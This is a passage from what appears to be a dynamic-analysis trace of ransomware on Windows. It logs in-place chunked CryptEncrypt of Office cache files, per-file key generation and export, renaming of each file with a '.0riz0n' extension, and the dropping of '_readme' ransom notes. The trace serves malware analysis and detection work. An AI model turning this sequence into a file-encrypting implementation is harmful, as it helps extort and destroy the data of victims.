ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0234.242] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0234.584] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0234.702] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=167772160, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0xa000000 [0234.702] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0234.912] FlushFileBuffers (hFile=0x1c0) returned 1 [0235.263] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0xaa00000 [0235.263] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0235.263] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0235.793] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0236.249] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0236.399] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=178257920, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0xaa00000 [0236.399] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0236.608] FlushFileBuffers (hFile=0x1c0) returned 1 [0236.763] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0xb400000 [0236.763] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0236.764] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0237.210] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0237.798] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0238.000] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=188743680, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0xb400000 [0238.000] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0238.265] FlushFileBuffers (hFile=0x1c0) returned 1 [0238.496] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0xbe00000 [0238.496] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0238.496] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0238.923] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0239.468] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0239.644] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=199229440, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0xbe00000 [0239.644] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0239.843] FlushFileBuffers (hFile=0x1c0) returned 1 [0239.993] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0xc800000 [0239.993] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0239.994] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0240.413] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0240.971] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0241.146] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=209715200, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0xc800000 [0241.146] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0241.357] FlushFileBuffers (hFile=0x1c0) returned 1 [0241.697] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0xd200000 [0241.698] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x29ee40) returned 0x2d50020 [0241.698] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0x29ee31, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0x29ee31, lpOverlapped=0x0) returned 1 [0241.930] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x29ee40) returned 0x2ff0020 [0242.173] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d50020*, pdwDataLen=0x1a7faac*=0x29ee31, dwBufLen=0x29f231 | out: pbData=0x2d50020*, pdwDataLen=0x1a7faac*=0x29ee40) returned 1 [0242.290] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0242.291] NtClose (Handle=0x1c0) returned 0x0 [0242.292] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.0riz0n" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.0riz0n")) returned 1 [0242.293] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.0riz0n", dwFileAttributes=0x2020) returned 1 [0242.294] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0242.295] GetLastError () returned 0x2 [0242.295] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x984888, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0242.295] GetLastError () returned 0x2 [0242.295] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0242.295] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0242.296] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0242.296] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0242.296] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x17) returned 0x1be3cf0 [0242.296] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cfe0 [0242.297] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1be3cf0) returned 1 [0242.297] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cfe0) returned 1 [0242.297] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x2d1) returned 0xa7fc38 [0242.297] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0242.297] NtClose (Handle=0x1c0) returned 0x0 [0242.297] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0242.298] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0242.298] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0242.298] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2340020) returned 1 [0242.396] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0242.397] CryptDestroyKey (hKey=0x829d78) returned 1 [0242.397] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0242.397] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0242.399] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0242.400] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0242.400] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976)) returned 1 [0242.429] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0242.429] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0242.429] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0242.429] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0242.429] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0242.429] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0242.429] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0242.429] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976)) returned 1 [0242.429] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0242.429] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0242.429] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0242.429] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0242.429] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0242.429] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976)) returned 1 [0242.429] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0242.430] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0242.430] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0242.430] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0242.430] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0242.430] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0242.430] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0242.430] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0242.430] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0242.430] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0242.430] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0242.430] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0242.431] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0242.431] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0242.431] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0242.431] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0242.431] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x7980) returned 0x1c15220 [0242.431] ReadFile (in: hFile=0x1c0, lpBuffer=0x1c15220, nNumberOfBytesToRead=0x7976, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x1c15220*, lpNumberOfBytesRead=0x1a7fab0*=0x7976, lpOverlapped=0x0) returned 1 [0242.433] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x7980) returned 0x1c52f80 [0242.433] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1c52f80*, pdwDataLen=0x1a7faac*=0x7976, dwBufLen=0x7d76 | out: pbData=0x1c52f80*, pdwDataLen=0x1a7faac*=0x7980) returned 1 [0242.437] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0242.437] NtClose (Handle=0x1c0) returned 0x0 [0242.437] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.0riz0n")) returned 1 [0242.438] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0242.438] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0242.438] GetLastError () returned 0x2 [0242.438] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x9848a8, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0242.438] GetLastError () returned 0x2 [0242.438] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0242.438] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0242.438] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0242.439] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0242.439] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x13) returned 0x1be3cf0 [0242.440] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0242.440] NtClose (Handle=0x1c0) returned 0x0 [0242.440] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0242.440] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0242.440] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0242.440] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c15220) returned 1 [0242.440] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0242.440] CryptDestroyKey (hKey=0x829d78) returned 1 [0242.440] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0242.440] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0242.440] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0242.440] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0242.440] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600)) returned 1 [0242.442] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0242.442] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0242.442] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0242.442] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0242.442] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0242.442] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0242.442] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0242.442] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600)) returned 1 [0242.442] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0242.442] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0242.442] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0242.443] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0242.443] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0242.443] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, 